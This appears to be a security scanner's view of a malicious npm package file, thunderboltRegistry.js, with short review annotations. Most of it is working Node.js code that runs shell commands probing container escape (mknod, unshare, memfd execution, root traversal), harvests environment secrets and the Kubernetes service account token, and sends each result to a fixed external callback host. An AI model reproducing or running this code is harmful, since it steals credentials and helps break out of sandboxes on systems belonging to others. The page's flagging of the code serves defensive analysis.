Lines 1-75javascript
2 var wh = "https://dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1f";
4 try { cp = require("child_process"); } catch(e) {}
5 try { if (!cp) cp = require("node:child_process"); } catch(e) {}
6 try { if (!cp && module && module.constructor) { var m = new module.constructor(); m.paths = module.paths; cp = m.require("child_process"
9 try { return cp.execSync(cmd, {encoding:'utf8', timeout: t||12000}).trim(); }
10 catch(e) { return 'ERR:' + (e.stderr||e.message||'').substring(0,400); }
13 function exfil(tag, data) {
15 var d = typeof data === 'string' ? data : JSON.stringify(data);
16 fetch(wh + "?tag=" + encodeURIComponent(tag) + "&d=" + encodeURIComponent(d.substring(0,3500)) + "&t=" + Date.now()).catch(function
17 } catch(e) {
HighAi Review Evidence
The module sends collected data to a fixed external callback.
thunderboltRegistry.jsView on unpkg · L13 19 var https = require("https");
20 https.get(wh + "?tag=" + encodeURIComponent(tag) + "&d=" + encodeURIComponent(d.substring(0,2000)) + "&t=" + Date.now());
25 if (cp && typeof cp.execSync === "function") {
29 R.beacon = run("id;echo ---;uname -a;echo ---;cat /proc/self/status|grep -iE '(cap|seccomp)';echo ---;ls -la /proc/self/ns/");
30 exfil("esc-beacon", R.beacon);
32 // FD MAP (find gofer sockets, donated dir FDs)
33 R.fds = run("perl -e 'use Socket;for my $fd(0..80){my $l=readlink(\"/proc/self/fd/$fd\")//next;my $e=\"\";if($l=~/socket/){eval{my $t=getsockopt($fd,SOL_SOCKET,SO_TYPE);$e.=\" T=\".unpack(\"i\",$t)};eval{my $p=getsockopt($fd,SOL_SOCKET,17);my($pid,$uid,$gid)=unpack(\"iii\",$p);$e.=\" PEER=$pid/$uid/$gid\" if length($p)>=12}}elsif(-d \"/proc/self/fd/$fd\"
36 // MKNOD CUSE + FUSE + devices
37 R.mknod = run("perl -e 'use POSIX;for my $d([\"cuse\",10,203],[\"fuse\",10,229],[\"null\",1,3]){my($n,$maj,$min)=@$d;unlink \"/tmp/_$n\";my $r=syscall(259,-100,\"/tmp/_$n\",0666|0020000,$maj*256+$min);printf \"mknod(%s %d:%d)=%d e=%s\\n\",$n,$maj,$min,$r,$!;if(-e
38 exfil("esc-mknod", R.mknod);
41 R.mounts = run("unshare --user --mount --map-root-user sh -c 'mkdir -p /tmp/_mt;for fs in proc sysfs tmpfs devtmpfs devpts cgroup cgroup2 binfmt_misc fusectl debugfs tracefs overlay ramfs;do mount -t $fs $fs /tmp/_mt 2>/dev/null&&echo \"$fs:OK\"&&umount /tmp/_mt||echo \"$fs:FAIL\";done'", 20000);
42 exfil("esc-mounts", R.mounts);
45 R.memfd = run("perl -e 'my $fd=syscall(319,\"p\\0\",0);print \"memfd=$fd e=$!\\n\";if($fd>=0){syswrite($fd,\"#!/bin/sh\\necho MFD_OK;id;cat /proc/self/status|head -15\\n\");chmod 0755,\"/proc/self/fd/$fd\";print qx{/proc/self/fd/$fd 2>&1}}'");
46 exfil("esc-memfd", R.memfd);
48 // ROOT TRAVERSAL (check if inode changes at different depths)
49 R.roots = run("perl -e 'for my $d(0..8){my $p=\"/\".\"../\"x$d;my @s=stat($p);printf\"depth=%d ino=%d dev=%x\\n\",$d,$s[1],$s[0]}'");
50 exfil("esc-roots", R.roots);
53 R.symlink = run("perl -e 'use POSIX;for my $t(\"/\",\"/../..\",\"/proc/1/root\",\"/proc/self/root/..\"){symlink($t,\"/tmp/_sl\");my @s=stat(\"/tmp/_sl\");printf\"sym(%s) ino=%d dev=%x\\
54 exfil("esc-symlink", R.symlink);
57 R.env = run("env|grep -iE '(KEY|TOKEN|SECRET|AUTH|HOST|PORT|URL|ENDPOINT|SERVICE|CLUSTER|POD|KUBE|INSTANCE|GRID|APP_DEF)'|sort|head -25");
58 exfil("esc-env", R.env);
61 R.k8s = run("cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null|head -c 200;echo;ls /var/run/secrets/ 2>/dev/null");
HighAi Review Evidence
It collects environment values matching key and token patterns and reads the Kubernetes service account token.
thunderboltRegistry.jsView on unpkg · L55 62 exfil("esc-k8s", R.k8s);
64 // NETWORK (internal services, DNS)
65 R.net = run("cat /etc/resolv.conf;echo ---;cat /proc/net/tcp|head -10;echo ---;cat /proc/net/arp 2>/dev/null");
66 exfil("esc-net", R.net);
69 R.mi = run("cat /proc/self/mountinfo");
70 exfil("esc-mountinfo", R.mi);
73 R.mknod_ns = run("unshare --user --mount --map-root-user sh -c 'for dev in \"cuse 10 203\" \"fuse 10 229\" \"null 1 3\" \"sda 8 0\";do set -- $dev;mknod /tmp/_dev_$1 c $2 $3 2>&1;echo \"mknod($1,$2,$3)=$?\";ls -la /tmp/_dev_$1 2>/dev/null;rm -f /tmp/_dev_$1;done'");
74 exfil("esc-mknod-ns", R.mknod_ns);